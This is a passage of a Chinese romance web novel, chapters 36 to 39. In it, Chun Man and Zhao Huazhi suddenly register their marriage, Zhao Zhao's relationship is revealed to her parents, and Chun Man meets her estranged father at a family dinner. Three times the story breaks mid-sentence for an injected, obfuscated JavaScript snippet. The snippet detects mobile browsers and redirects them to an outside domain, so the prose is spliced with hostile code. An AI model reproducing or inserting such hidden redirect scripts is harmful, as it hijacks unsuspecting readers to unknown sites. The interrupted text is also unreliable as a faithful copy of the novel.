“爸妈,你们怎么来了。”一直不动如山坐在餐椅上的赵昭儿,第一时间站起来,往外迎几步,没什么作用地挡在了谢宴迟身前。 “待会儿来人给小满量尺寸做旗袍,你一块看看有喜欢的料子没。”邓婕妤发现赵昭儿泛红的眼眶,不着痕迹地打量着她身后的男生,“宴迟也在,你们刚刚在聊什么?” 赵昭儿站得位置巧,刚好挡住谢宴迟拿在手里的红色皮面的户口本。 邓婕妤问完,赵隆琛随之望过来。他俩不约而同地开始紧张,谢宴迟决定站出来坦白前,注意到站在赵隆琛斜后方的赵华致冲自己轻轻摇了摇头。 谢宴迟稳稳地站住,不动声色地把户口本塞回了夹克口袋里。 “没聊什么。”赵昭儿试图糊弄过去。 但邓婕妤眼光敏锐,没打算就此略过。 这时赵华致适时开口:“爸妈,你们先坐。这件事我来说吧。” 邓婕妤拉过赵昭儿,到沙发上坐下。春满被赵华致叫着一起过去,她不安地关注着每个人的反应,看到谢宴迟站着,她也没着急落座。 直到赵华致又一次叫她,春满才挨着他坐下。 “所以到底是怎么回事?”赵隆琛审视的视线从谢宴迟的身上收回来,问儿子。 一家人都很宝贝赵昭儿,尤其赵隆琛是女儿奴,如果知道她未婚先孕的事,肯定不会轻易罢休。 赵华致先是看了眼仍旧站着的谢宴迟,随后他才向两位长辈陈述道:“赵赵处在谈恋爱的年纪,这事我本不该管。但她瞒着家里跟谢宴迟谈恋爱,我发现后,说了几句要把这小子赶走,她就气哭了,还跟我吼。为了个外人吼你亲哥,赵相宜你能耐了。” 说着,赵华致看向赵昭儿。 赵昭儿凭借兄妹俩多年的默契,看清了他哥的眼色,适时地接戏,感情充沛地反驳道:“我多大人了,你还骂我,我不要面子的啊。你跟谢开阳关系不好关我什么事啊,你做生意有点格局好不好,友商不是敌人。” 赵昭儿这一番言论不知道有多少真情实感,纵使春满都听得一愣一愣的,俨然被唬住。 赵华致沉默一瞬,仿佛记仇般瞪了赵昭儿一眼,赵昭儿往回缩了缩脖子。 “你听听,你们来之前,她说得比这些还过分。”赵华致示意父母。 赵昭儿眼皮一皱,晃着邓婕妤的胳膊跟父母撒娇:“爸,妈,你说说我哥!不要让他管我的事!” 两位长辈谁也没说话,彼此对视一眼,赵隆琛视线在赵昭儿和谢宴迟中间打转:“你们两个在谈恋爱?” 赵昭儿低了低头,没否认。 “开始多久了?”邓婕妤看向谢宴迟,问。 谢宴迟再不了解他们一家人的相处模式,也能看明白赵华致在帮他和赵昭儿。把赵昭儿和父母的矛盾,巧妙地转化成兄妹间的矛盾,让心软的长辈做判官。随着兄妹矛盾的激化,父母不得已立刻袒护较为弱势的妹妹,被迫认可了赵昭儿的个人感情。 “三个月。”谢宴迟如是回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803649|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答。 两位长辈不约而同地舒了口气,才三个月,还不严重。 赵华致计较强势的语气再度响起:“爸妈,你们觉得谢宴迟不错?赵赵说要跟他结婚,你们愿意吗?他们才多大,就结婚,你们放心吗?” 邓婕妤闻言,坐不住了,赵隆琛也没料到事情急转直下,有这样的发展。 邓婕妤表情凝重地看向女儿,语重心长道:“你还年轻,结婚不急,再考虑考虑。” 赵昭儿嚯一下站起来,身子一偏,正冲着赵华致,说:“我哥就是不信任我,我都多大的人了。我——” “坐下!”赵隆琛厉声喝止她的胡闹,但他在女儿面前不是个严父,很快语气缓和些,示意道,“坐下好好说,解决问题,不要使小性子。” 春满打量着赵隆琛,又想到赵华致处理这件事的做法,觉得他们父子俩真的很像。都很稳重,不偏激。 直接说怀孕的事,冲击太大。先谈婚姻,反正这个过程漫长,不是一句话就能落实的,期间循序渐进再提怀孕的事,两家大人更容易接受。 不得不说,赵华致引导的方向挺正确的。 “才三个月,感情就这么深了?”赵隆琛问女儿。 “我觉得谢宴迟挺好的,没我哥说得那么差。”赵昭儿叽叽咕咕,带着极强的个人情绪,不知情的还以为她对谢宴迟用情至深,非谢宴迟不嫁。 这时谢宴迟也开口:“叔叔阿姨,我会对赵赵h……“和孩子,谢宴迟险些说错话,被赵华致瞪了一眼才清醒,大喘气,“ao好的。” 赵隆琛眉头一直没舒展开,问他:“你父母知道这件事吗?” 谢宴迟态度决绝的表态:“只要叔叔阿姨答应,我现在就回去让家里人来提亲。” 邓婕妤和赵隆琛对视一眼,都没说话,还在斟酌。 这时邓婕妤预约好的裁缝到了,春满去开了门,把人迎进来,赵华致跟着起身,说:“爸妈,你们聊吧,我陪春满量尺寸。” 春满看了看气氛僵住的几个人,小声问:“你走开可以吗?量个尺寸我自己也能应付得来。” “没事。”赵华致已经不需要留在这里了。 两人刚走出客厅的区域,春满遥遥地听到赵隆琛示意谢宴迟:“你也坐下吧。” 事情看上去有了个不错的发展。 再之后,春满便听不见了。 邓婕妤做事讲究,所以为她服务的人有一套繁琐的流程。春满被安排试成衣、选款式、挑料子,最后才是测量尺寸。 整个过程持续了小半个钟头,赵华致就一直在旁边陪着,尤其是量尺寸的时候,他的目光跟随软尺在她身上一寸寸地移动。 春满被他看得不太淡定,偏偏为她量尺寸的女员工还调侃:“你先生一直陪着你,很有耐心哦。” 春满朝赵华致瞥了眼,小声纠正:“是挺有耐心的。不过还不是先生。” 等一切确认好,对方一行人收拾东西离开。赵华致感慨地发表了句言论:“没想到我这个做哥哥的,被妹妹赶在前头了。” 春满在翻那本旗袍店的宣传册,闻言,接道:“是啊。你是不是不行?” “你说什么恩?”赵华致在她旁边坐下,手环在她的腰上,一寸寸地挪。 春满被碰到痒痒肉,歪了歪身子:“我什么也没说。没说。” 赵华致视线追随着她翻宣传册的动作一起看,手上动作却没停,低声提醒:“别躲。刚刚就想这样做了,让我也帮你量一量尺寸。” 赵昭儿家里设计得很花心思,因为自己住,所以各个分区划分时没有保障私密性。算算时间赵昭儿他们也快聊完了,保不准有谁过来找他俩。 “你爸妈还在外面。”春满压着声提醒。 赵华致果真安分了很多,只是说:“你妈什么时间方便,也让我爸妈去提亲。” 春满竖起手里的硬壳宣传册挡在两人的脸中间,只有一双眼睛从上方露出来,闻言,那双漂亮的眸子里依稀能窥见几分顾虑。 “之后再说,先让你爸妈缓缓,把赵赵的事情解决了。” 37.第 37 章 37 春满和赵华致再回到客厅时,谢宴迟已经走了。 赵昭儿乖乖巧巧地坐在邓婕妤旁边,听她小声嘱咐着什么,赵隆琛时不时插几句话。 注意到他们出来,几个人循声望过来。 赵隆琛交代赵华致:“你留出和谢家吃饭的时间。” “几号?” “还没定。你提前准备着。” 赵华致点点头,没久留:“要下雨了,我跟春满先回去。” 邓婕妤应了声好,整理脸上的愁容,笑着对春满说:“小满有空常来。今天家里事多,招待不周别见怪。” 春满跟邓婕妤客气了一番,跟赵华致一起离开。 厚重的乌云在积聚在天边,不知何时便会翻涌到这边。 春满坐在车里,盯着那条交界线出神,赵华致倾身过来帮自己系安全带,春满才堪堪回神,佯装平静地说:“谢谢。” 赵华致保持着和她面对面的姿势,没立刻坐回去,那眼神仿佛能把人看透一般:“和谢家吃饭的时候,你一起去。” 春满猛地抓住安全带,有一瞬的心慌:“你们家的正事,我去不合适。你们自己解决就好。” “没什么不合适。”赵华致深深地看她一眼,语气探究,“还是你跟我在一起只是玩玩,没奔着结婚去。” 春满没办法诚实地回答这个问题。答案肯定是奔着结婚去的,但刚结束彼此磨合的试用期,如今他们的关系仍单薄,现在聊这个话题太隆重,很容易弄巧成拙。 被赵华致紧盯着,春满不得不给一个解释:“让我考虑考虑,行吗?” “可以。” 赵华致适才坐回主驾,扣好安全带,发动车子。 春满偏头盯着车窗外不断往后倒退的街景,好像看到了小时候扎着羊角辫的自己被一个戴眼镜的年轻男人举过头顶放到肩膀上,容貌清丽的满郁牵着谢开阳的手,落后几步,时不时叮嘱男人当心一点,别把春满摔了。 画面如同泛黄的老照片,无故被蒙上了一层悲伤的滤镜。 春满眨了下眼睛,眼前的画面便消失了。 更清晰映入眼前的是那个暴雨夜,男人带着谢开阳钻进豪车,任由春满悲痛哭嚎,也只能看到越来越远的车尾灯。 那天在学姐的餐厅里,春满没见到谢揾,遗憾但也庆幸。 只是春满没想过,日后会以这样的关系和谢揾见面。 要去吗? 直到车子开进小区的地下车库,缓缓停住,春满仍旧没给赵华致答复。 进到电梯,赵华致刷完门禁卡,春满也刷亮了自己楼层的按钮。 “有点累了,我想回去休息会儿。” 赵华致取消了八楼的按钮,见春满要说什么,他强势地表示:“让我陪你。” 春满因此没说什么。 春满说累是托词,她作息一向规律,除了偶尔几天和赵华致闹得狠了,睡眠不足,大多时候精神头儿都很好。 等回到家里,赵华致提议:“先吃点东西再睡?” 春满并没有拒绝。 在厨房的事上不用两个人操心,阿姨在他们动身回来的路上便做好了吃的,此刻收到赵华致的消息便把饭菜送来了春满家。 春满诧异赵华致这一番操作,说:“我到你那里吃也一样。” “已经送下来了,吃吧。”赵华致没多解释。他其实敏锐地感知到,虽然在一起,春满对于个人空间的界限还是很清晰的,要回自己家休息而不去赵华致家,便说明基于他们目前的关系,她在自己家里更为放松。 吃饭也一样。 春满看上去什么也不在乎,其实并非心大。赵华致安排中的心思,她依稀能察觉到。正因为察觉到,才觉得这份迁就的分量太重了。 简单吃过饭,阿姨收拾厨余垃圾时,春满挪到了沙发上。 赵华致端着水果过来递给她,春满吃了两块后,才打开话茬:“小的时候,我爸妈感情挺好的,我爸对我也好。” 赵华致没说什么,在她旁边坐下。 “我记得有年冬天,他去隔壁城市出差,不顾距离给我买了一个棉花糖。只因为那个棉花糖造型很可爱,做成了一棵圣诞树的形状,他知道我一定喜欢,只是可惜带回来的路上,被意外挤扁了。”春满抬起一条腿,压到他腿上,然后往他的位置挪了一点,上半身斜斜地靠到他的身上。 明明是一些很开心的回忆,她讲述起来却觉得十分委屈,话语里不受控制地带上了哭腔:“他对我妈也很好。有一百块钱,会用90块给她买漂亮衣服,剩余的10块还要给她买巧克力。以前我总是想不明白怎么就变了,明明那么深的感情,怎么说翻脸就翻脸。” “他们离婚后,我攒了好久的零用钱才凑够路费去找他,但是被警卫员拦在大院外。我看着他乘坐的车从面前开过,他连车窗都不降,他连看都不想看我一眼。谢开阳说,大人有他们的不得已,可……”春满的声音已经哽咽,赵华致揉了揉她的头发,春满将脸埋在赵华致肩膀里,哑着嗓子闷声道,“我就这么不重要吗?” “好了,都过去了,不想见就不见。”赵华致见她久久不能自我和解,不放心地托住她的脸颊,打量她眼下的一片狼藉,心疼不已,“是我说错话了,以后都不让他见你。不哭了。” 春满仰了仰头,将眼泪憋回去,露出一个还算轻松的笑,解释:“不想跟你说这些不开心的,但我今天实在是有些不在状态。” “我知道。”赵华致低头本能地亲了亲她的嘴角,说,“我之所以想带你一块,是觉得你也是我们家的一员,赵赵的终身大事,你也该到场见证。不是有意让你为难。” 春满低低地嗯了声,自然是明白这些的:“如果到了不得不见面的地步,也是可以见的。我觉得自己现在已经不怎么在意了。可能我强迫自己把所有的感情都集中在谢开阳身上,对爸爸这个角色的埋怨也好恨意也罢,都没有那么强烈。但这次就先不见了。” 赵华致察觉到她情绪好了很多,说了个轻松的话题:“你既然答应去领证了,择日不如撞日,要不就明天吧。” “什么啊。”春满眼睛瞪大了些,坐直身子拉开两人的距离,哭笑不得。 赵华致一本正经:“我有录音为证,你想耍赖吗?” 春满递给他一个“你还好意思提录音”的眼神,说:“太着急了吧。现在不担心我们的婚姻不纯粹了?我说不准是图你家和谢家的关系,为了刺激我爸呢?” 赵华致抓住她的一双手,放在自己的心口,郑重道:“求之不得,你快点利用我。” 这人已经疯了。 春满心里只有这一个念头。 这晚赵华致在春满这儿睡的,领证的话题被春满三两句话糊弄过后,赵华致便没再提。 谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808540|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知第二天一早,趁春满还在睡的时候,赵华致早早地起床,穿好衣服拿着车钥匙出门。 几乎是卡着春满起床的时间回来,赵华致轻手轻脚地回到卧室,把新买的钻戒攥在掌心里焐热些,才戴到她的无名指上。 刚戴好,春满眼睫颤了下,似乎有苏醒的征兆,赵华致急忙撤手,装作没事人似的躺回了属于自己的那半边床铺。 春满翻了个身,合着眼皮摸索到他在哪里,窸窸窣窣地往他怀里蹭。 赵华致刚从外面回来,倒是换回了睡衣,但身上温度不比睡觉时,所以特意隔了段距离躺着,结果没躲掉,春满自己凑过来了。 “要起吗?”赵华致低声问。 春满摇摇头,开始犯懒:“不用上班。” 赵华致:“我得上班啊。” 春满哦了声,却不撒手,眼皮合着,整个人安安静静的,好像又睡着了。 不知过了多久,春满懒够了时间,双手已经从刚睡醒时乏力的状态恢复正常,她伸了个懒腰,微微攥起拳头,下一秒,猛地睁开眼,朝自己左手看去,先是掌心,然后翻过来看手背,无名指上套着一枚尺寸恰好合适的钻戒。 “赵华致,见鬼了。”春满把赵华致推醒,随后将左手伸到他脸前,让他看那枚钻戒,“你看!” 赵华致靠在床头,抬起自己的左手拉住她的,配合地仔细看了看,说:“是挺好看的。” 春满注意到他左手无名指上也有一枚,不过男款戒指钻石是内嵌的,小小的一粒。 恍惚明白什么,春满推了下赵华致的肩膀:“有你这样求婚的吗?我还没答应呢。” 赵华致紧握住她的手,不给她摘下来的机会,随后轻轻一拉,让她趴在自己怀里,说:“那你现在答应。” 春满低头看着这枚简单却精致的戒指,迟迟移不开眼睛,故意不回答:“我听不见你说什么。” 赵华致将空着的手揽上她的腰,不安分地骚扰她:“答不答应?” 春满怕痒,当即腰肢一软,被挠出了清脆的笑声:“赵华致,有你这样的吗。” 赵华致动作仍不停,春满瞅准机会开始反击,找不到赵华致的弱点,春满就一个地方一个地方地试,好一番折腾。 两人闹着闹着,春满被压在了床踏上,浑身疲惫乏力,投降认输:“我答应了。” 赵华致得逞,捉过她的两只手固定在身前,得寸进尺道:“那今天去领证。” 春满震惊于赵华致的冲动,问:“你不上班了?” 赵华致目光炯炯有神:“这件事重要。” “色令智昏。”春满被他压得喘不过气,尝试了几次都没能从他身下挣开。频频失败后,春满兵出险招,冷不丁地说了句,“我家户口本好像真在我这里。” 赵华致一脸期待地看着她。 趁这个时间,春满猛地推开赵华致,掀被下床,趿拉上拖鞋跑进卫生间,把门一锁。 靠在门上,春满摘下戒指仔细看了又看,嘴角不自知地翘起来, “春满,宝贝,老婆……”赵华致守在门外一通混叫。 “春儿——”又一个新称呼出现,门板被里面的人拉开,春满瞪了他一眼,咬着牙刷含含糊糊地评价:“结结结结结,吃完饭就去行了吧。” 赵华致捧着她的脸颊突然凑上来亲了口,气得春满叫嚣:“牙膏沫!赵总,您是小孩儿吗?!” 38.第 38 章 38 春满答应领证的决定严格意义上不能算是被逼迫的,在这充斥着赵华致捣乱的仓促时间里,春满极为认真地思考过这个问题。 假设未来她一定会和赵华致结婚,那把这个节点提到现在又何妨。 又假设未来恋爱个两三年后他们发现彼此不合适要分手,那更应该把这个节点提前了。 就让这份来自婚姻的责任为他们的感情添一层约束。 吃过早饭,春满被要求从衣柜里挑一件白色上衣换上,然后由赵华致开车,踏上了去往民政局的道路。 在路上春满才记起翻一翻黄历,想看看今天这个日子吉不吉,赵华致注意到,打断她:“我找人算过了,大吉,黄道吉日。” 春满斜他一眼,也不知道信没信,但还是把手机锁屏。 反正都到这里,他说吉那就是吉。 - “赵华致是不是疯了。”这是姜早早听春满说完她已经领证且为什么领证的经过后,爆出的第一句话。 从跟组状态解放出来的姜早早仿佛刚学会说话一般,半晌才憋出第二句话:“你有点东西。” 姜早早上下打量着春满,语气认真地说出第三句:“赵华致真是被你吃得死死的。” 此时两人正在餐厅吃饭,只有她们两个人,没特意选包间。春满看姜早早一惊一乍的状态,着实有些后悔,该选个包间的。 “没你想的这么夸张,算起来我们相处的时间不算短了。”春满说。 姜早早假意附和地点点头:“我严重怀疑赵华致属于那种能靠回忆过一辈子的人。你看他之前偷偷暗恋你这么多年,现在只相处了两三个月便领证也算是闪婚了吧。慢慢,你当初的救命之恩,就是你今后的免死金牌啊。” 春满已经不想搭理姜早早的脑洞了。 “话说他不会跟你签署了婚姻存续期间如果自己是过错方就净身出户的婚前协议吧。” 春满眨眼,说出一个令姜早早震惊的答案:“我们没签婚前协议。” 姜早早满头问号,嘟囔了一句“赵华致不会真的被夺舍了吧”,才认认真真给春满科普:“他这种身份,结婚大事不提前做好协议说明,你作为妻子会占他的股权,集团那些股东们要闹的。” 春满陡然坐直,并没有这方面的经验,从头到尾没听赵华致提过啊。 “情况很严重吗?” 姜早早说了句稍等,上网查找到相关法条给她看。 春满半知半解,但阅读理解能力是不错的。 不多时,她把姜早早的手机推回去,拿着自己的手机起身去打电话。 听春满表明来意,电话那头的赵华致表示:“不用担心,律师已经在拟定婚内协议了。” 他还说春满这边也需要清点个人资产,并请一位律师做见证。 春满一一记下,正事三两句话沟通完,好在双方思路明确,不至于乱了阵脚。 “赵华致,你真是太胡闹了。”临终挂断电话前,春满没忍住如是评价了句。 因为这个小插曲,春满再回到餐桌上情绪一直不高涨。 她一直认为赵华致是个很稳重的人,偶有的插科打诨时刻不过是他生活的调剂,谁曾想这次如此我行我素。 “你要理解,有的人天生就是恋爱脑。”姜早早想了想,纠正道,“这样说不准确,赵华致可能不是恋爱脑,但他一定是恋春满脑。” 姜早早又一次把自己的手机拿给春满看,屏幕上显示着她和江鎏的聊天内容。 江鎏主动提起:“你朋友和我朋友已经领证了你知道吧?” 姜早早回:“已有耳闻。” 江鎏:“今天有财经媒体对他进行专访,他直接高调公开秀了一把婚戒。董事们听说后紧急开会,连老赵总都是刚刚才收到消息赶过来,会议室刚吵完,办公室接着吵。你朋友是会下蛊吗,我那么大一个行事稳重的老板呢?” 春满看完把手机推回去时,扫见对话框里新弹出来一条:“看到他俩有个好结局,咱俩的梁子也该翻篇了吧。” 见和赵华致没有关系,春满及时收回了视线。 姜早早拿回手机,噼里啪啦编辑了句什么回过去,才收起手机。 见春满一直在看自己,姜早早心虚地调整了下坐姿:“刚才说到哪里了。哦,你不用太有压力。江鎏说话喜欢夸大,事情不严重。把协议补上就好了,只是赵华致这次行事太反常,大家比较吃惊。” 春满点点头,还在消化这件事。 - 赵华致今天下班比往常要晚,春满理解是工作量平白增多的缘故。阿姨做好了晚饭,她并没有先吃,在沙发上一直说再等等。 赵华致到家时,夜里十点钟。家里灯亮着,春满这次没有等睡着,抱着个流苏抱枕坐在沙发上看财经新闻。 也是巧,正播到赵华致的专访片段。 几个有关集团发展的问题后,记者用闲聊的语气问了个超出提纲的问题:“我发现赵总今天罕见地戴了首饰,是有什么特殊意义吗?” 赵华致抬了抬手,状似不经意地向大家展示,随后笑眼温柔地说:“是婚戒。和太太今天刚领的证。” 记者诧异这展开,忙不迭地说恭喜,喜庆奉承的话不绝于耳。 春满表情全程纹丝不动,看完了整段谈话。她想记者出于对爆点话题的敏锐,应该还问了女方的身份信息等情况,只是最终没有报道出来。 专访结束,到了广告时间,春满叹了口气,坐直些活动了下僵硬的后背,才发现赵华致不知道什么时候已经回来了。 赵华致把衬衣领口的纽扣解开两颗,然后挽了挽袖口,以放松的状态在家中活动:“阿姨说你要等我回来再吃饭。” “不怎么饿。”今天事多,春满就算饿了也吃不下去,她缓缓起身,准备去厨房热菜,“今天还顺利吗?” 赵华致堵住春满的去路,揽着她的胳膊,把人拥进怀里:“先抱一下。” 春满配合地回抱住他,不过没保持太久,打断道:“好了。我要去热菜。” “不是不饿吗?”赵华致不放人。 春满:“你不吃吗?” 赵华致为达目的什么瞎话都可以说:“看到你就饱了。” 耳朵贴在赵华致的胸膛上,春满听到那节奏感清晰有力的心跳声,不免想到他在方才那段专访中的样子。 这段婚姻对他而言是喜悦且骄傲的事,大大方方地公开,明目张胆地炫耀。春满应该开心被这般隆重地对待才是。 可为什么会突然觉得难过呢? “赵华致,谢谢。”春满冷不丁地出声。 赵华致茫然地嗯了声,问:“谢什么?” 春满扒拉开他的胳膊,一脸不解风情的冷淡,说:“谢谢你土到我了。” 赵华致弯唇笑起来,跟着她往餐厅走。阿姨准备的菜已经摆上桌,因为久没有人吃,在每盘上倒扣了一个盘子减缓散热。 赵华致回来得太迟,现在都已经凉透了。 春满准备拿去微波炉热一下,但赵华致没让她上手,把她安排在餐椅上坐好,自己把菜一道道热好端出来。 赵华致把放在春满对面的碗筷拿到她旁边,自己挨着她坐下。 并肩。 春满无所谓他坐在哪里,没提不愉快的事,这顿饭吃完,她才问起:“婚内协议带回来了吗?我签一下。” 面对这样一个尽职尽责的监工,赵华致没敢拖延,当场找到手机,把协议的电子版发给她:“明天再看就行。” 春满没听他的,点开文件。适合打印的格式和尺寸,手机看着实有些费眼,她起身:“我回家了,回去用电脑看。” 赵华致眼疾手快,把人拽回来:“领证第一天,也算是新婚之夜。你就这么走了?” 春满自己的力气不算小,平时搬个猫粮轻而易举,状态好了连赵华致都能背起来,但在赵华致面前,她这点儿力气简直不够看的。 赵华致只要稍微用点力气,春满便挣不开,小声提醒:“忙正事要紧,我可不想你明天还加班到这么晚。” 赵华致自知理亏,心软了软,仍旧没让她走:“用书房的电脑。” “你处理工作的电脑,我用不合适吧。要不我还是回家拿自己的。”春满没立刻答应,而是说。 “没什么不合适。”赵华致牵着春满起身,往书房走,“不过确实可以把你的个人用品搬一部分到我这里,毕竟我们现在属于合法同居。” 春满应着,突然想起自己还没来得及跟满郁说自己突然领证的事,得找个合适的时间安排两边人见面。 没等在瑞士旅行的满郁回国,时间先来到赵、谢两家因为赵昭儿和谢宴迟的婚事见面的那天。 随着赵华致那段专访的公开,春满和赵华致的事便不是秘密。这次会面,赵隆琛和邓婕妤的意思是叫春满一块去,但赵华致没把这个安排传达给春满,只说了时间地点,让她自己决定。 那天和赵华致剖白过自己的内心后,春满整个人轻松了不少,对这种形式的见面没有了心理负担。 考虑到自己和赵华致的突破性进展,这样的场合她没办法推脱,便答应下来。 见面的排场不算大,但无处不符合两家人的身份地位和重视程度。 两位当事人和两家的长辈到得早些,春满和赵华致到时,正巧碰见谢开阳也刚到。 谢开阳把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812019|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西装纽扣扣好,站在旁边等他们。 赵华致先下车,谢开阳打量他春风得意的状态,道:“恭喜。” 赵华致客气地回了句:“谢谢。” 春满随后下车,见没外人在场,走近后,喊了声:“哥。” 谢开阳点点头,往大厅里走时,顺势问起:“你俩婚礼定在什么时间?” 被提问的春满看向赵华致,发现后者同样在看自己,那眼神分明是在问她的想法。他们证领得突然,而且很快她便要去非洲当志愿者,私下里没探讨过婚礼的事,邓婕妤倒是跟赵华致提过,但赵华致没跟春满聊。 春满含糊地回答哥哥的关心:“还没打算。” 谢开阳疑问地觑向赵华致,后者摊手:“我听她的。” 谢开阳明白什么,笑了笑,没再深究这个话题。 刚踏进餐厅大堂,服务生迎上前为他们引路。到包间时,两边的长辈就俩小孩的事已经聊了会儿,虽说这些年天谢和赫京斗得你死我活,但不是没有同仇敌忾的时候,而且两位老总已经让位,看开了很多,对联姻这件事并没有过分阻拦,沟通得还是比较顺利的。 反倒是两个当事人冷冷淡淡的,不像是大人以为的爱到死去活来非对方不可的程度。 包间里的情形颇有一种这场联姻完全是父母包办的架势。 包间门开,里面的人看到来人。邓婕妤笑着招呼:“你们在门口碰见的?” 谢开阳先进,长腿步子大。后方的赵华致放慢脚步,扶了下春满的腰,让她先自己半步进包间。 赵华致突然的动作,根本没给春满反应的机会。 她下意识回头看赵华致,因此错过了谢宴迟母亲谢谨央微变的脸色。坐在她旁边的谢揾面色如常,只是借着垂眼添茶水的动作,掩饰掉不明显的情绪波动。 谢宴迟邻着母亲坐,要起身给谢开阳让座。谢开阳按了按他的肩膀,坐在左边的空位置。 春满邻着赵华致入座,右手边是谢开阳。 当着一桌人的面,来的路上还轻松闲聊的兄妹俩,此刻活脱脱像是陌生人,春满洒了茶水脏了手,谢开阳给她递纸巾时,春满接过时一个多余的眼神都没给。 上菜后,大家边吃边聊,春满在赵昭儿和谢宴迟的事上不方便多话,全部注意力放在吃饭上。 赵昭儿在春满出现后肉眼可见的开心了很多,转着菜,提醒春满:“嫂子吃这个,这个好吃。” 春满应着,每被叫一次便察觉到有目光落在自己身上。 春满不方便一直挪动转盘,赵华致注意到这个细节,跟旁人说着话都不耽误往她面前的碗里夹菜。 点的汤上来,包间里众人聊私事,没让餐厅人员服务,赵华致便拿过春满的瓷碗先给她舀了一份。 私下里对他无微不至的照顾已经习以为常,但当着这么多人的面,春满适时扯了扯他的衣角,小声提醒:“不用特意照顾我。” 赵华致还以为她有什么很重要的事情跟自己说,仿佛没听清一般,贴心地朝她歪了歪上半身,十分在意的样子。 同桌的人将他的态度看在眼里,各有思量。 赵昭儿和谢宴迟的事聊得差不多了,赵隆琛问赵华致:“你和小满的婚礼打算定在什么时间?” 邓婕妤建议:“要不跟你妹妹一块?双喜临门,咱们几家大操大办一场。” 春满摆正搁在碗上的竹筷,下意识想要拒绝,但这样的场合,这话不该由她来说。 赵华致看了她一眼,倒是想到一块去了:“不了。我和春满有自己的打算。” 随着这个话题的结束,这顿饭接近尾声。 一行人离开时,春满和赵华致走散,在走廊碰见了同样落单的谢揾。 在他的注视下,春满嘴角动了动,始终叫不出那声“爸”。 谢揾先开口,用长辈惯有的关心晚辈的语气,问:“小赵对你还好?” 春满淡声:“挺好的。” 谢揾从小被谢家收养、精心栽培多年,虽然临近成年被退养回到小家庭,但言谈举止和修养气度已经定型,在寻常人中十分出挑。 和谢谨央结合后的这些年里,周身的气场被淬炼得越发成熟。春满今天见到他,只觉陌生,在他身上很难窥到熟悉的、和父亲这个身份相关的气息。 谢揾点点头,又问:“你妈还好?” 春满朝走廊尽头看了看,说:“也挺好的。” 父女俩便没了话题,大概是想到谢开阳那句“大人有自己的无奈”,春满犹豫片刻,主动问了句:“你这些年好吗?” “一切都好。”谢揾宽厚温和地回答,仍旧是春满陌生的样子。 春满点点头,再无话。 39.第 39 章 39 满郁旅游回来的时间,春满是通过朋友圈动态得知的。 她做了番心理建设,拨通了满郁的号码,说:“妈,我前几天去领证了?” “领证?什么证啊?”满郁第一反应是茫然,数秒后,她总算意识到乱七八糟的执业证书不值得春满特意通知,“千万别告诉我,你还是因为心软原谅了房嘉恺。” 春满喃喃地回了句“不是”,说:“是和赵华致。” 电话那头陷入了死寂,春满看了眼屏幕确认电话没有被挂断,才继续说:“你什么时间方便,我想带他去见见你。” “今晚或者明天都行,你根据他的时间安排吧。”满郁先回答了春满的问题,才感慨了句,“闺女,我真是小看你了。” 春满不自在地低头看了看自己的鞋子,眼底无波无澜,但让人感觉很压抑。 满郁的“称赞”和姜早早的含义明显不同。 大概是刚见过谢揾的缘故,春满总忍不住想起满郁那句“你真是随了你爸”。 真是这样的吗?春满陷入自己的逻辑误区,当局者迷吗? “鞋子怎么了?”赵华致凑过来突然出声,春满才意识到自己盯着鞋子看了良久。 春满冲他抿出个轻松的笑,说了句没事,然后把和满郁吃饭的事说了。 “明晚吧,我来订餐厅。”赵华致很快确定好,不放心地打量着春满,“真的没事?” 春满展臂抱住站在面前的赵华致,一只耳朵紧贴着他的腰腹处,轻声说:“是想到还有一周我就要去国外了,突然有些舍不得。” 赵华致把手里的水杯放下,摸索着捧着她的脸,心里自然也是不舍的,只是这些天,他从未言说思念,而是化在琐碎的日常细节中。 赵华致盯着墙壁上的日历,自言自语般回答:“那怎么办呢?” - 翌日,晚饭时间。 赵华致选了一家格调讲究的中式餐厅,能照顾不同顾客的多种口味。 春满和赵华致到得早,在包间等待时,时而坐在椅子上一杯杯的续茶水,时而站在窗边踱步。 赵华致注意到,一眼看穿:“你看上去比我还要紧张?” 春满佯装镇定地坐回椅子里,不打算承认:“没,坐久了腰有点酸。” 赵华致手落在她后腰处,有一下没一下地帮她按着,低声问:“昨晚累到了?” 春满回忆起昨晚的事,当即羞红了脸,嗔怪道:“这哪儿跟哪儿啊。” 赵华致说:“那今晚继续。” 春满没接茬,大概是离别在即,两人的感情比过去任何时候都要激烈。春满没了早晚通勤的顾虑,过得着实有些随心所欲。赵华致虽然每天早出晚归,但夜间生活一点不见克制。 “你是不是偷着吃药了。”春满被逼急了,如是问道。 